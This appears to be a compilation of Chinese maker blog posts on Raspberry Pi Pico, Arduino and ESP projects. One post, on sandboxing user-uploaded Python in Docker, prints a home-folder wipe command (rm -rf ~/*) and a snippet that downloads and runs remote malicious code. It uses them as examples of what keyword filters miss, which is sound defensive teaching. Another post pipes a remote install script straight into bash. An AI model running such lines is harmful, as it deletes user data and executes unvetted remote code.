用树莓派Pico W做蓝牙遥控车

不然树莓派Pico W刚放出来那会,官方只对Wi-Fi做了支持,并未启用蓝牙功能。但这个小片片上有英飞凌的CYW43439无线模块,蓝牙、Wi-Fi都支持的。

经过漫长的等待,2023年6月,官方终于腾出手让这小片片功能全部释放。

你现在不需要再外接HC-05等其它模块,只需要原来的一片Pico W,就可以通过C语言或MicroPython来启用蓝牙了。

蓝牙在嵌入式领域有多重要,多好使,估计物联网和应用电子的从业者能跟你讲半天。

这次就让Kevin McAleer这位树莓派Pico W老粉,用MicroPython编程来给大家实践一下。

从蓝牙基础,一直跟你讲到蓝牙控制小车。深入浅出,精打实招。

https://mp.weixin.qq.com/s/EZic0V6Uba93gPiqRdGTBg

相关代码:

https://github.com/IoToutpost/pico_ble_remote

如何安全运行别人上传的Python代码?

作者:kingname

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?

    这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

    import requests
    code = requests.get('https://www.kingname.info/dangerous_code').text
    with open('dangerous_code.py', 'w') as f:
    f.write(code)
    dangerous_module = import('dangerous_code')
    danderous_module.delete_all()

    其中https://www.kingname.info/dangerous_code对应的代码如下:

    import os
    def delete_all():
        os.system('rm -rf ~/*')

      这样就可以绕过关键字检查,并成功删除你的文件了。

      如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

      而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。

      为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

      显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

      首先,确保你的服务器上面已经有Docker,并且正在运行。

      接下来,安装Docker SDK:

      pip install docker

      假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面。

      那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:

      from python:3.10
      
      run pip install -r requirements.txt
      copy . /app
      workdir /app

      当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

      接下来,我们开始构建镜像并运行代码:

      import docker
      client = docker.from_env()
      
      client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义
      
      container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

      这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:

      container.logs(tail=10) # 显示最后10行日志

      就可以看到相关的日志了。

      关于Docker SDK的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

      参考资料

      [1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python

      树莓派Zero做的电子墨水名片

      “你好,我的名字是……”

      人们参加沙龙或者酒会的时候,经常要对别人口述自己的名字和职业。

      如果可以用电子墨水,以像素化的形式显示他们的名字和脸时,相信能节约很多时间。

      创客Josh King做的这个PiE-Ink电子墨水名片,就很有意思。

      在他的Instructables教程中,他解释了完整的方法。

      乔什·金电子墨水名牌树莓派

      对于徽章,Josh使用了Raspberry Pi Zero,PaPiRus 2“电子墨水HATAdafruit Powerboost 1000c和LiPo电池。他还用到了其它配件,例如磁铁和粘土。

      Josh把树莓派Zero和Powerboost通过焊接连在一起,并允许LiPo电池为设备供电。

      乔什·金电子墨水名牌树莓派

      然后,他连接PaPiRus HAT并用粘土固定整个装置,以确保紧密贴合。他还加了一个迷你滑动开关。

      乔什·金电子墨水名牌树莓派

      在SD卡上预装Raspbian后,Josh遵循PaPiRus的设置,确保所有库文件都装好,并且让树莓派识别2英寸屏幕。

      然后下载代码,运行……

      注:你可以直接从Josh的GitHub帐户下载相关代码。记得将图像缩小到 200×96 才能使其适合电子墨水屏幕。

      乔什·金电子墨水名牌树莓派

      有了它,你就可以在各种活动和会议上让大家快速认识你了。

      如果你想用树莓派Pico做电子墨水名片的话看这里:

      https://mp.weixin.qq.com/s/Nip6ZB60et0xujLQgNRldw

      用树莓派Pico和气体传感器保护厨房

      当你在厨房烹饪食物,又跑去刷剧,玩游戏,取快递……

      食物正在加热,没人看着,锅烧焦了怎么办?着火了怎么办?

      无人看管的烹饪是迄今为止厨房火灾的主要原因。

      你可能需要有个东西来帮你盯一下。

      这个小东西主要是由树莓派Pico和传感器构成的。

      先说开发板,虽然该项目是基于Raspberry Pi Pico构建的,但你可以使用任何与RP2040兼容的电路板创建它。

      该项目中使用的Grove-HCHO传感器可检测空气VOCs(挥发性有机化合物)的气体浓度。比如:甲醛和苯。

      相关链接:

      https://wiki.seeedstudio.com/Grove-HCHO_Sensor/

      它是如何工作的?

      通过在Raspberry Pi Pico上运行Edge Impulse的Sensor Fusion软件,它可以从气体,温度和湿度传感器读取数据。然后数据通过神经网络模型计算,会判断当前的厨房是否处于安全状态。

      是的,要更准确的判断厨房安全状态,你需要更多传感器配合。

      Edge Impulse相关链接:

      https://studio.edgeimpulse.com/

      这里有相关视频来引导你完成软件下载、设置和部署。如果你有兴趣构建自己的厨房监视器,可以照着完成。

      经过AI训练,它可以检测厨房的三种状态:空闲,正常烹饪和非正常燃烧。

      隐藏在炉子上方风扇罩中的传感器

      除了烹饪,从新房子到新家具,也都会存在危害健康的挥发性有机化合物(比如甲醛)。如果你在家里检测到高浓度的挥发性有机化合物,那么你要尽快通风来保证安全。

      相关链接:

      用Phew在Pico W上构建登录系统

      Home Assistant 加 Pico W 改进车库门

      树莓派Pico如何用好定时器

      在树莓派Pico上跑BASIC程序

      Pico SDK — 树莓派Pico起步

      树莓派Pico W控制玩具车

      树莓派Pico怎么接DHT11温湿度传感器

      树莓派Pico W迷你火星车

      用Arduino IDE给Pico W开发应用

      树莓派Pico上跑TinyML音频分类

      用Rust语言来开发树莓派Pico

      树莓派Pico的CircuitPython入门

      用Pico W做个手机遥控的车库门

      太阳能驱动的Pico W在线气象站

      Pico W搭网站并显示访问者IP

      通过MicroPython控制Pico W上的板载LED

      基于树莓派Pico的机器学习

      在树莓派Pico上运行“毁灭战士”

      用树莓派Pico制作的无人机PiWings

      如何让树莓派Pico支持LoRaWAN

      长者为你开启树莓派Pico的I/O世界

      在树莓派Pico上播放《Bad Apple》

      在树莓派Pico上用BBC Micro模拟器玩游戏

      树莓派能跑Stable Diffusion了

      Stable Diffusion是一种文本到图像生成的大型深度学习模型,它可以根据文本的描述生成详细的图像,也可以用于其他任务,如图像修复、图像扩展、图像翻译等。

      它是基于潜在扩散模型(Latent Diffusion Model)的一种变体,通过对图像添加和去除噪声来训练和生成图像。

      该模型由Stability AI和LAION联合开发,目前是一个开源的AI平台,有很多用户和开发者贡献了不同的预训练模型和插件。

      一般情况下,跑Stable Diffusion需要的配置:最好是有英伟达(Nvidia)的独立显卡,显存不少于4GB,推荐8GB以上;内存8GB以上,推荐16GB或以上;硬盘40GB以上的可用空间,最好是固态硬盘;操作系统支持Windows 10/11,macOS(仅限Apple Silicon或更新版本),Linux等。

      但最近有人在树莓派Zero 2上运行Stable Diffusion了,而树莓派 Zero 2 只是内存512MB 的单板计算机。

      它的配置和规格如下:

      • 处理器:Broadcom BCM2710A1,四核64位SoC(Arm Cortex-A53 @ 1GHz)
      • 内存:512MB LPDDR2
      • 连接性:2.4GHz IEEE 802.11b/g/n无线局域网,蓝牙4.2,BLE,带天线的屏蔽罩
      • 接口:1 × USB 2.0 OTG接口
      • HAT兼容的40针I/O头插座(未焊接)
      • microSD卡插槽
      • Mini HDMI端口
      • CSI-2摄像头连接器
      • 视频:HDMI接口
      • 复合的视频和复位引脚焊点
      • 多媒体:H.264, MPEG-4解码(1080p30)
      • H.264编码(1080p30)
      • OpenGL ES 1.1, 2.0图形
      • 输入电源:5V DC 2.5A
      • 工作温度:-20°C to +70°C

      Raspberry Pi Zero 2 W的尺寸是65mm × 30mm,与原来的Raspberry Pi Zero一样。它的性能比原来的单核Raspberry Pi Zero提高了五倍。一般用于智能家居、物联网等项目。

      为了让更多低配置的计算机也能用Stable Diffusion出图。

      一个名为vitoplantamura的开发者决定写一个超小的推理库,让260MB内存的单板机也能将Stable Diffusion跑起来。终于,他成功了。

      他用C++开发的OnnxStream,是一个能够在低内存设备上运行 Stable Diffusion 的推理库,它通过分离推理引擎和权重提供器,以及量化等技术,完成了在树莓派 Zero 2 上生成图像的挑战。

      与微软的OnnxStream 相比,vitoplantamura的OnnxStream 只需要消耗 1/55 的内存就可以达到同样的效果,但(在 CPU 上的)速度只比前者慢 0.5-2 倍。

      虽然运行速度较慢,但它却是大模型在更小、更有限的设备上部署的崭新尝试。

      相关源码:

      https://github.com/vitoplantamura/OnnxStream

      用Arduino做一个自动割草机

      这个项目中,我们将用Arduino制作一个自动割草机。该机器可以自动修剪院子里长高的草。如果有障碍物,它会自动改变方向,有助于减少人力。

      本文提供了项目的基本概述,以及制作Arduino割草机器人所需的组件。提供了电路原理图和Arduino源代码,以便简化组装和编程过程。

      注意:这个项目不是玩具,它包含锋利的刀片。如果不小心使用,可能会造成严重的伤害。不要让它无人看管,刀片应正确固定。操作前检查一下。

      材料清单

      我们需要以下组件:

      1、 Arduino UNO
      2、 L293D电机驱动盾
      3、 超声波传感器HC-SR04
      4、 超声波传感器外壳/支架
      6、 直流减速电机 x4
      7、 BLDC电机100KV
      8、 舵机SG-90
      9、 ESC模块
      10、舵机测试仪
      11、3针滑动开关
      12、X型十字支架
      13、机器人底盘
      14、11.1V锂电池

      什么是割草机器人(割草机)?

      割草机器人是一种用于自动修剪和维护草坪的机器人设备。这些机器人使用传感器和算法来导航和修剪草坪,并且可以根据草坪的生长速度或特定的时间表来编程修剪草坪。一些割草机器人还配备了诸如障碍物检测、防盗保护和通过智能手机应用程序远程控制等功能。它们近年来越来越受欢迎,因为可以节省割草的时间和精力。

      电路和连接

      源代码/程序

      AFMotor Library:
      https://github.com/adafruit/Adafruit-Motor-Shield-library

      NewPing Library:
      https://github.com/microflo/NewPing

      需要编译到Arduino UNO开发板中的代码:

      #include <AFMotor.h>  
      #include <NewPing.h>
      #include <Servo.h> 
       
      #define TRIG_PIN A0 
      #define ECHO_PIN A1 
      #define MAX_DISTANCE 200 
      #define MAX_SPEED 190 
      #define MAX_SPEED_OFFSET 20
       
      NewPing sonar(TRIG_PIN, ECHO_PIN, MAX_DISTANCE); 
       
      AF_DCMotor motor1(1, MOTOR12_1KHZ); 
      AF_DCMotor motor2(2, MOTOR12_1KHZ);
      AF_DCMotor motor3(3, MOTOR34_1KHZ);
      AF_DCMotor motor4(4, MOTOR34_1KHZ);
      Servo myservo;   
       
      boolean goesForward=false;
      int distance = 100;
      int speedSet = 0;
       
      void setup() {
       
        myservo.attach(10);  
        myservo.write(115); 
        delay(2000);
        distance = readPing();
        delay(100);
        distance = readPing();
        delay(100);
        distance = readPing();
        delay(100);
        distance = readPing();
        delay(100);
      }
       
      void loop() {
       int distanceR = 0;
       int distanceL =  0;
       delay(40);
       
       if(distance<=15)
       {
        moveStop();
        delay(100);
        moveBackward();
        delay(300);
        moveStop();
        delay(200);
        distanceR = lookRight();
        delay(200);
        distanceL = lookLeft();
        delay(200);
       
        if(distanceR>=distanceL)
        {
          turnRight();
          moveStop();
        }else
        {
          turnLeft();
          moveStop();
        }
       }else
       {
        moveForward();
       }
       distance = readPing();
      }
       
      int lookRight()
      {
          myservo.write(50); 
          delay(500);
          int distance = readPing();
          delay(100);
          myservo.write(115); 
          return distance;
      }
       
      int lookLeft()
      {
          myservo.write(170); 
          delay(500);
          int distance = readPing();
          delay(100);
          myservo.write(115); 
          return distance;
          delay(100);
      }
       
      int readPing() { 
        delay(70);
        int cm = sonar.ping_cm();
        if(cm==0)
        {
          cm = 250;
        }
        return cm;
      }
       
      void moveStop() {
        motor1.run(RELEASE); 
        motor2.run(RELEASE);
        motor3.run(RELEASE);
        motor4.run(RELEASE);
        } 
        
      void moveForward() {
       
       if(!goesForward)
        {
          goesForward=true;
          motor1.run(FORWARD);      
          motor2.run(FORWARD);
          motor3.run(FORWARD); 
          motor4.run(FORWARD);     
         for (speedSet = 0; speedSet < MAX_SPEED; speedSet +=2) 
         {
          motor1.setSpeed(speedSet);
          motor2.setSpeed(speedSet);
          motor3.setSpeed(speedSet);
          motor4.setSpeed(speedSet);
          delay(5);
         }
        }
      }
       
      void moveBackward() {
          goesForward=false;
          motor1.run(BACKWARD);      
          motor2.run(BACKWARD);
          motor3.run(BACKWARD);
          motor4.run(BACKWARD);  
        for (speedSet = 0; speedSet < MAX_SPEED; speedSet +=2) 
        {
          motor1.setSpeed(speedSet);
          motor2.setSpeed(speedSet);
          motor3.setSpeed(speedSet);
          motor4.setSpeed(speedSet);
          delay(5);
        }
      }  
       
      void turnRight() {
        motor1.run(FORWARD);
        motor2.run(FORWARD);
        motor3.run(BACKWARD);
        motor4.run(BACKWARD);     
        delay(500);
        motor1.run(FORWARD);      
        motor2.run(FORWARD);
        motor3.run(FORWARD);
        motor4.run(FORWARD);      
      } 
       
      void turnLeft() {
        motor1.run(BACKWARD);     
        motor2.run(BACKWARD);  
        motor3.run(FORWARD);
        motor4.run(FORWARD);   
        delay(500);
        motor1.run(FORWARD);     
        motor2.run(FORWARD);
        motor3.run(FORWARD);
        motor4.run(FORWARD);
      }  

      测试

      上传代码后,你可以把机器人带到野外,也许在高草地区。高草地区可以是一个很好的测试选择。

      打开机器人上的开关,确保电源为Arduino板提供正确的电压,并且所有组件都正确连接。通过手动控制机器人的运动来测试机器人的电机,确保机器人运动平稳准确。

      测试机器人的传感器,在其路径上放置障碍物,并确保能避开它们。此外,检查传感器的范围和灵敏度,以确保机器人可以检测到草的存在。

      flutter包在内地安装不了怎么办?

      一般我们在flutter pub get安装包的时候,经常会遇到如下错误。

      Got socket error trying to find package coverage at http://pub.dartlang.org.

      或者

      Got socket error trying to find package flame at https://pub.dev.

      你打开浏览器访问pub.dev的时候,又可以正常访问。

      这个咋解决呢?

      如果你是Windows用户,你可以在Powershell的界面下运行:

      setx PUB_HOSTED_URL “https://mirrors.cloud.tencent.com/dart-pub”
      setx FLUTTER_STORAGE_BASE_URL “https://mirrors.cloud.tencent.com/flutter”

      这两条命令。

      如果你是Mac用户,你可以在命令行下运行:

      $ export PUB_HOSTED_URL=https://mirrors.cloud.tencent.com/dart-pub
      $ export FLUTTER_STORAGE_BASE_URL=https://mirrors.cloud.tencent.com/flutter

      之前有教程说改成这样:

      setx PUB_HOSTED_URL “https://pub.flutter-io.cn”
      setx FLUTTER_STORAGE_BASE_URL “https://storage.flutter-io.cn”

      但实际操作是无效的,现在还不知道怎么回事。

      用Pi-Timolo和树莓派做一个夜视摄像头

      安德鲁·格雷戈里 (Andrew Gregory) 发现,后花园的狗经常深夜叫唤。

      于是他用树莓派做了一个夜间摄像头,来拍下那个不断引发狗叫的神秘访客。

      要放在室外,少不了一个防雨且有一定强度的容器,这里他用到了几块厚木板。

      市场上有一系列适用于 Raspberry Pi 的摄像头,比如:Pi Camera Module 3、Raspberry Pi Global Shutter Camera、Raspberry Pi High Quality Camera 和各种热敏模块。

      但当访客在夜间到来,最好用的是 Pimoroni 等厂商提供的夜视摄像头。

      关于树莓派的选择,作者用到了Raspberry Pi Zero W,比较轻便,兼容性也很好。

      这个摄像头设在后花园,距离足够近,可以通过家庭 Wi-Fi 网络即可获取视频流。

      但作者不想拉电源线,所以需要电池供电。

      事后看来,最好是选择 USB 电池组——这种电池组可以即插即用到任何设备,并具有一定程度的保护作用。

      作者选择了 1200mAh,3.7 V LiPo 电池,它裸露且易碎,无法直接连接到 Raspberry Pi Zero W。所以需要给 Raspberry Pi Zero 添加一个 LiPo SHIM(这需要一些焊接)。

      本文提到的树莓派电池连接板,相关地址:

      把供电模块、摄像头、树莓派都接好后的状态,差不多是这样。

      装好系统,通电联网,登录系统执行如下命令进行测试:

      raspistill -v -o test.jpg

      如果一切顺利,你会看到一个图像在屏幕上闪了一两秒钟,然后颜色会变暗。那是因为夜视摄像头模块使用红外线(大多数摄像头模块会过滤掉这层光谱)。

      作者在这里使用的软件包为 Pi-Timolo(Raspberry Pi Time、Motion 和 Low light),由 Claude Pageau 开发。 

      可以执行如下命令安装(最好是update系统以后):

      curl -L https://raw.github.com/pageauc/pi-timolo/master/source/pi-timolo-install.sh | bash

      然后到一个设置界面,自行操作即可。

      不过与 Raspberry Pi Camera Module 3 的 12MP 相比,夜视摄像头上的 5MP 传感器还是有些很小,因此作者很想找到一些红外 LED 并制作自己的摄像头模块。

      来自:HackSpace 第 66 期

      谷歌Sheets和ESP8266构建的考勤系统

      用户刷卡后,系统会与包含用户列表的谷歌表单进行核对。

      如果用户获得授权,LCD上会显示用户的姓名、接入类型和自定义留言,并发出“嘟”的一声。系统还将考勤数据记录在谷歌Sheet中,供以后查看和分析。

      开始之前,你得有一个Google账户,且所在网络可以顺利登录Google。

      https://mp.weixin.qq.com/cgi-bin/readtemplate?t=tmpl/video_tmpl&vid=wxv_2903425061842321412

      主要材料:

      RFID RC522

      https://www.aliexpress.us/item/2251832760608169.html

      esp8266

      https://www.aliexpress.us/item/2251832470086446.html

      lcd1602

      https://www.aliexpress.us/item/2251832499297742.html

      breadboard

      https://www.aliexpress.us/item/2251832028089611.html

      相关源码:

      https://github.com/unreeeal/ESP/tree/master/ESP-RFID-GOOGLE

      注:这里ESP32和ESP8266的使用场景是差不多的,两者都可以实现类似功能。